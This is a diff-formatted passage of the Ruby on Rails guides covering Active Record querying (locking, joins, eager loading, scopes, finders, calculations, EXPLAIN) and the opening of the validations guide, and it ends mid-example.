+The above session produces the following SQL for a MySQL backend:
+
+```sql
+SQL (0.2ms) BEGIN
+Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms) COMMIT
+```
+
+You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+```ruby
+Item.transaction do
+ i = Item.lock("LOCK IN SHARE MODE").find(1)
+ i.increment!(:views)
+end
+```
+
+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+
+```ruby
+item = Item.first
+item.with_lock do
+ # This block is called within a transaction,
+ # item is already locked.
+ item.increment!(:views)
+end
+```
+
+Joining Tables
+--------------
+
+Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method.
+
+### Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
+
+```ruby
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+```
+
+This will result in the following SQL:
+
+```sql
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+```
+
+### Using Array/Hash of Named Associations
+
+WARNING: This method only works with `INNER JOIN`.
+
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+
+For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
+
+```ruby
+class Category < ActiveRecord::Base
+ has_many :posts
+end
+
+class Post < ActiveRecord::Base
+ belongs_to :category
+ has_many :comments
+ has_many :tags
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+ has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+ belongs_to :comment
+end
+
+class Tag < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+Now all of the following will produce the expected join queries using `INNER JOIN`:
+
+#### Joining a Single Association
+
+```ruby
+Category.joins(:posts)
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+ INNER JOIN posts ON posts.category_id = categories.id
+```
+
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).uniq`.
+
+#### Joining Multiple Associations
+
+```ruby
+Post.joins(:category, :comments)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+ INNER JOIN categories ON posts.category_id = categories.id
+ INNER JOIN comments ON comments.post_id = posts.id
+```
+
+Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+
+#### Joining Nested Associations (Single Level)
+
+```ruby
+Post.joins(comments: :guest)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+ INNER JOIN comments ON comments.post_id = posts.id
+ INNER JOIN guests ON guests.comment_id = comments.id
+```
+
+Or, in English: "return all posts that have a comment made by a guest."
+
+#### Joining Nested Associations (Multiple Level)
+
+```ruby
+Category.joins(posts: [{comments: :guest}, :tags])
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+ INNER JOIN posts ON posts.category_id = categories.id
+ INNER JOIN comments ON comments.post_id = posts.id
+ INNER JOIN guests ON guests.comment_id = comments.id
+ INNER JOIN tags ON tags.post_id = posts.id
+```
+
+### Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+```
+
+An alternative and cleaner syntax is to nest the hash conditions:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: {created_at: time_range})
+```
+
+This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
+
+Eager Loading Associations
+--------------------------
+
+Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
+
+**N + 1 queries problem**
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+```ruby
+clients = Client.limit(10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+```
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
+
+**Solution to N + 1 queries problem**
+
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+
+Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses:
+
+```ruby
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+```
+
+The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
+
+```sql
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+ WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+```
+
+### Eager Loading Multiple Associations
+
+Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
+
+#### Array of Multiple Associations
+
+```ruby
+Post.includes(:category, :comments)
+```
+
+This loads all the posts and the associated category and comments for each post.
+
+#### Nested Associations Hash
+
+```ruby
+Category.includes(posts: [{comments: :guest}, :tags]).find(1)
+```
+
+This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+
+### Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
+
+However if you must do this, you may use `where` as you would normally.
+
+```ruby
+Post.includes(:comments).where("comments.visible" => true)
+```
+
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
+
+```ruby
+ SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+```
+
+If there was no `where` condition, this would generate the normal set of two queries.
+
+If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
+
+Scopes
+------
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :published, -> { where(published: true) }
+end
+```
+
+This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+
+```ruby
+class Post < ActiveRecord::Base
+ def self.published
+ where(published: true)
+ end
+end
+```
+
+Scopes are also chainable within scopes:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :published, -> { where(published: true) }
+ scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+```
+
+To call this `published` scope we can call it on either the class:
+
+```ruby
+Post.published # => [published posts]
+```
+
+Or on an association consisting of `Post` objects:
+
+```ruby
+category = Category.first
+category.posts.published # => [published posts belonging to this category]
+```
+
+### Passing in arguments
+
+Your scope can take arguments:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+```
+
+This may then be called using this:
+
+```ruby
+Post.created_before(Time.zone.now)
+```
+
+However, this is just duplicating the functionality that would be provided to you by a class method.
+
+```ruby
+class Post < ActiveRecord::Base
+ def self.created_before(time)
+ where("created_at < ?", time)
+ end
+end
+```
+
+Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+
+```ruby
+category.posts.created_before(time)
+```
+
+### Merging of scopes
+
+Just like `where` clauses scopes are merged using `AND` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+```ruby
+User.active.inactive
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```
+
+We can mix and match `scope` and `where` conditions and the final sql
+will have all conditions joined with `AND` .
+
+```ruby
+User.active.where(state: 'finished')
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```
+
+If we do want the `last where clause` to win then `Relation#merge` can
+be used .
+
+```ruby
+User.active.merge(User.inactive)
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+One important caveat is that `default_scope` will be overridden by
+`scope` and `where` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+As you can see above the `default_scope` is being overridden by both
+`scope` and `where` conditions.
+
+
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ActiveRecord::Base
+ default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ActiveRecord::Base
+ def self.default_scope
+ # Should return an ActiveRecord::Relation.
+ end
+end
+```
+
+### Removing All Scoping
+
+If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+especially useful if a `default_scope` is specified in the model and should not be
+applied for this particular query.
+
+```ruby
+Client.unscoped.all
+```
+
+This method removes all scoping and will do a normal query on the table.
+
+Note that chaining `unscoped` with a `scope` does not work. In these cases, it is
+recommended that you use the block form of `unscoped`:
+
+```ruby
+Client.unscoped {
+ Client.created_before(Time.zone.now)
+}
+```
+
+Dynamic Finders
+---------------
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
+
+You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
+
+If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
+
+Find or Build a New Object
+--------------------------
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
+
+### `find_or_create_by`
+
+The `find_or_create_by` method checks whether a record with the attributes exists. If it doesn't, then `create` is called. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```
+
+The SQL generated by this method looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+```
+
+`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
+
+Suppose we want to set the 'locked' attribute to true if we're
+creating a new record, but we don't want to include it in the query. So
+we want to find the client named "Andy", or if that client doesn't
+exist, create a client named "Andy" which is not locked.
+
+We can achieve this in two ways. The first is to use `create_with`:
+
+```ruby
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+```
+
+The second way is using a block:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy') do |c|
+ c.locked = false
+end
+```
+
+The block will only be executed if the client is being created. The
+second time we run this code, the block will be ignored.
+
+### `find_or_create_by!`
+
+You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+```ruby
+validates :orders_count, presence: true
+```
+
+to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
+
+```ruby
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+```
+
+### `find_or_initialize_by`
+
+The `find_or_initialize_by` method will work just like
+`find_or_create_by` but it will call `new` instead of `create`. This
+means that a new model instance will be created in memory but won't be
+saved to the database. Continuing with the `find_or_create_by` example, we
+now want the client named 'Nick':
+
+```ruby
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+```
+
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+```
+
+When you want to save it to the database, just call `save`:
+
+```ruby
+nick.save
+# => true
+```
+
+Finding by SQL
+--------------
+
+If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+
+```ruby
+Client.find_by_sql("SELECT * FROM clients
+ INNER JOIN orders ON clients.id = orders.client_id
+ ORDER clients.created_at desc")
+```
+
+`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+### `select_all`
+
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+```ruby
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+```
+
+### `pluck`
+
+`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+
+```ruby
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+```
+
+`pluck` makes it possible to replace code like
+
+```ruby
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map(&:id)
+# or
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+```
+
+with
+
+```ruby
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+```
+
+### `ids`
+
+`ids` can be used to pluck all the IDs for the relation using the table's primary key.
+
+```ruby
+Person.ids
+# SELECT id FROM people
+```
+
+```ruby
+class Person < ActiveRecord::Base
+ self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+```
+
+Existence of Objects
+--------------------
+
+If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
+
+```ruby
+Client.exists?(1)
+```
+
+The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+```ruby
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+```
+
+It's even possible to use `exists?` without any arguments on a model or a relation.
+
+```ruby
+Client.where(first_name: 'Ryan').exists?
+```
+
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
+
+```ruby
+Client.exists?
+```
+
+The above returns `false` if the `clients` table is empty and `true` otherwise.
+
+You can also use `any?` and `many?` to check for existence on a model or relation.
+
+```ruby
+# via a model
+Post.any?
+Post.many?
+
+# via a named scope
+Post.recent.any?
+Post.recent.many?
+
+# via a relation
+Post.where(published: true).any?
+Post.where(published: true).many?
+
+# via an association
+Post.first.categories.any?
+Post.first.categories.many?
+```
+
+Calculations
+------------
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+All calculation methods work directly on a model:
+
+```ruby
+Client.count
+# SELECT count(*) AS count_all FROM clients
+```
+
+Or on a relation:
+
+```ruby
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+```
+
+You can also use various finder methods on a relation for performing complex calculations:
+
+```ruby
+Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count
+```
+
+Which will execute:
+
+```sql
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+ LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+ (clients.first_name = 'Ryan' AND orders.status = 'received')
+```
+
+### Count
+
+If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Average
+
+If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.average("orders_count")
+```
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Minimum
+
+If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.minimum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Maximum
+
+If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.maximum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Sum
+
+If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.sum("orders_count")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+Running EXPLAIN
+---------------
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+```ruby
+User.where(id: 1).joins(:posts).explain
+```
+
+may yield
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+2 rows in set (0.00 sec)
+```
+
+under MySQL.
+
+Active Record performs a pretty printing that emulates the one of the database
+shells. So, the same query running with the PostgreSQL adapter would yield instead
+
+```
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+ QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ Join Filter: (posts.user_id = users.id)
+ -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ Index Cond: (id = 1)
+ -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ Filter: (posts.user_id = 1)
+(6 rows)
+```
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, `explain` actually
+executes the query, and then asks for the query plans. For example,
+
+```ruby
+User.where(id: 1).includes(:posts).explain
+```
+
+yields
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+1 row in set (0.00 sec)
+```
+
+under MySQL.

+Active Record Validations
+=========================
+
+This guide teaches you how to validate the state of objects before they go into
+the database using Active Record's validations feature.
+
+After reading this guide, you will know:
+
+* How to use the built-in Active Record validation helpers.
+* How to create your own custom validation methods.
+* How to work with the error messages generated by the validation process.
+
+--------------------------------------------------------------------------------
+
+Validations Overview
+--------------------
+
+Here's an example of a very simple validation:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+As you can see, our validation lets us know that our `Person` is not valid
+without a `name` attribute. The second `Person` will not be persisted to the
+database.
+
+Before we dig into more details, let's talk about how validations fit into the
+big picture of your application.
+
+### Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your
+database. For example, it may be important to your application to ensure that
+every user provides a valid email address and mailing address. Model-level
+validations are the best way to ensure that only valid data is saved into your
+database. They are database agnostic, cannot be bypassed by end users, and are
+convenient to test and maintain. Rails makes them easy to use, provides
+built-in helpers for common needs, and allows you to create your own validation
+methods as well.
+
+There are several other ways to validate data before it is saved into your
+database, including native database constraints, client-side validations,
+controller-level validations. Here's a summary of the pros and cons:
+
+* Database constraints and/or stored procedures make the validation mechanisms
+ database-dependent and can make testing and maintenance more difficult.
+ However, if your database is used by other applications, it may be a good
+ idea to use some constraints at the database level. Additionally,
+ database-level validations can safely handle some things (such as uniqueness
+ in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used
+ alone. If they are implemented using JavaScript, they may be bypassed if
+ JavaScript is turned off in the user's browser. However, if combined with
+ other techniques, client-side validation can be a convenient way to provide
+ users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become
+ unwieldy and difficult to test and maintain. Whenever possible, it's a good
+ idea to keep your controllers skinny, as it will make your application a
+ pleasure to work with in the long run.
+
+Choose these in certain, specific cases. It's the opinion of the Rails team
+that model-level validations are the most appropriate in most circumstances.
+
+### When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row
+inside your database and those that do not. When you create a fresh object, for
+example using the `new` method, that object does not belong to the database
+yet. Once you call `save` upon that object it will be saved into the
+appropriate database table. Active Record uses the `new_record?` instance
+method to determine whether an object is already in the database or not.
+Consider the following simple Active Record class:
+
+```ruby
+class Person < ActiveRecord::Base
+end
+```
+
+We can see how it works by looking at some `rails console` output:
+
+```ruby
+$ rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+```
+
+Creating and saving a new record will send an SQL `INSERT` operation to the
+database. Updating an existing record will send an SQL `UPDATE` operation
+instead. Validations are typically run before these commands are sent to the
+database. If any validations fail, the object will be marked as invalid and
+Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids
+storing an invalid object in the database. You can choose to have specific
+validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database.
+Some methods will trigger validations, but some will not. This means that it's
+possible to save an object in the database in an invalid state if you aren't
+careful.
+
+The following methods trigger validations, and will save the object to the
+database only if the object is valid:
+
+* `create`
+* `create!`
+* `save`
+* `save!`
+* `update`
+* `update!`
+
+The bang versions (e.g. `save!`) raise an exception if the record is invalid.
+The non-bang versions don't: `save` and `update` return `false`,
+`create` and `update` just return the objects.
+
+### Skipping Validations
+
+The following methods skip validations, and will save the object to the
+database regardless of its validity. They should be used with caution.
+
+* `decrement!`
+* `decrement_counter`
+* `increment!`
+* `increment_counter`
+* `toggle!`
+* `touch`
+* `update_all`
+* `update_attribute`
+* `update_column`
+* `update_columns`
+* `update_counters`
+
+Note that `save` also has the ability to skip validations if passed `validate:
+false` as argument. This technique should be used with caution.
+
+* `save(validate: false)`
+
+### `valid?` and `invalid?`
+
+To verify whether or not an object is valid, Rails uses the `valid?` method.
+You can also use this method on your own. `valid?` triggers your validations
+and returns true if no errors were found in the object, and false otherwise.
+As you saw above:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+After Active Record has performed validations, any errors found can be accessed
+through the `errors` instance method, which returns a collection of errors. By
+definition, an object is valid if this collection is empty after running
+validations.
+
+Note that an object instantiated with `new` will not report errors even if it's
+technically invalid, because validations are not run when using `new`.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+>> p = Person.new
+#=> #<Person id: nil, name: nil>
+>> p.errors
+#=> {}
+
+>> p.valid?
+#=> false
+>> p.errors
+#=> {name:["can't be blank"]}
+
+>> p = Person.create
+#=> #<Person id: nil, name: nil>
+>> p.errors
+#=> {name:["can't be blank"]}
+
+>> p.save
+#=> false
+
+>> p.save!
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+`invalid?` is simply the inverse of `valid?`. It triggers your validations,
+returning true if any errors were found in the object, and false otherwise.
+
+### `errors[]`
+
+To verify whether or not a particular attribute of an object is valid, you can
+use `errors[:attribute]`. It returns an array of all the errors for
+`:attribute`. If there are no errors on the specified attribute, an empty array
+is returned.
+
+This method is only useful _after_ validations have been run, because it only
+inspects the errors collection and does not trigger validations itself. It's
+different from the `ActiveRecord::Base#invalid?` method explained above because
+it doesn't verify the validity of the object as a whole. It only checks to see
+whether there are errors found on an individual attribute of the object.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+```
+
+We'll cover validation errors in greater depth in the [Working with Validation
+Errors](#working-with-validation-errors) section. For now, let's turn to the
+built-in validation helpers that Rails provides by default.
+
+Validation Helpers
+------------------
+
+Active Record offers many pre-defined validation helpers that you can use
+directly inside your class definitions. These helpers provide common validation
+rules. Every time a validation fails, an error message is added to the object's
+`errors` collection, and this message is associated with the attribute being
+validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single
+line of code you can add the same kind of validation to several attributes.
+
+All of them accept the `:on` and `:message` options, which define when the
+validation should be run and what message should be added to the `errors`
+collection if it fails, respectively. The `:on` option takes one of the values
+`:save` (the default), `:create` or `:update`. There is a default error
+message for each one of the validation helpers. These messages are used when
+the `:message` option isn't specified. Let's take a look at each one of the
+available helpers.
+
+### `acceptance`
+
+This method validates that a checkbox on the user interface was checked when a
+form was submitted. This is typically used when the user needs to agree to your
+application's terms of service, confirm reading some text, or any similar
+concept. This validation is very specific to web applications and this
+'acceptance' does not need to be recorded anywhere in your database (if you
+don't have a field for it, the helper will just create a virtual attribute).
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :terms_of_service, acceptance: true
+end
+```
+
+The default error message for this helper is _"must be accepted"_.
+
+It can receive an `:accept` option, which determines the value that will be
+considered acceptance. It defaults to "1" and can be easily changed.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :terms_of_service, acceptance: { accept: 'yes' }
+end
+```
+
+### `validates_associated`
+
+You should use this helper when your model has associations with other models
+and they also need to be validated. When you try to save your object, `valid?`
+will be called upon each one of the associated objects.
+
+```ruby
+class Library < ActiveRecord::Base
+ has_many :books
+ validates_associated :books
+end
+```
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use `validates_associated` on both ends of your associations.
+They would call each other in an infinite loop.
+
+The default error message for `validates_associated` is _"is invalid"_. Note
+that each associated object will contain its own `errors` collection; errors do
+not bubble up to the calling model.
+
+### `confirmation`
+
+You should use this helper when you have two text fields that should receive
+exactly the same content. For example, you may want to confirm an email address
+or a password. This validation creates a virtual attribute whose name is the
+name of the field that has to be confirmed with "_confirmation" appended.
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :email, confirmation: true
+end
+```
+
+In your view template you could use something like
+
+```erb
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+```
+
+This check is performed only if `email_confirmation` is not `nil`. To require
+confirmation, make sure to add a presence check for the confirmation attribute
+(we'll take a look at `presence` later on this guide):
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :email, confirmation: true
+ validates :email_confirmation, presence: true
+end
+```
+
+The default error message for this helper is _"doesn't match confirmation"_.
+
+### `exclusion`
+
+This helper validates that the attributes' values are not included in a given
+set. In fact, this set can be any enumerable object.
+
+```ruby
+class Account < ActiveRecord::Base
+ validates :subdomain, exclusion: { in: %w(www us ca jp),
+ message: "Subdomain %{value} is reserved." }
+end
+```
+
+The `exclusion` helper has an option `:in` that receives the set of values that
+will not be accepted for the validated attributes. The `:in` option has an
+alias called `:within` that you can use for the same purpose, if you'd like to.
+This example uses the `:message` option to show how you can include the
+attribute's value.
+
+The default error message is _"is reserved"_.
+
+### `format`
+
+This helper validates the attributes' values by testing whether they match a
+given regular expression, which is specified using the `:with` option.
+
+```ruby
+class Product < ActiveRecord::Base
+ validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
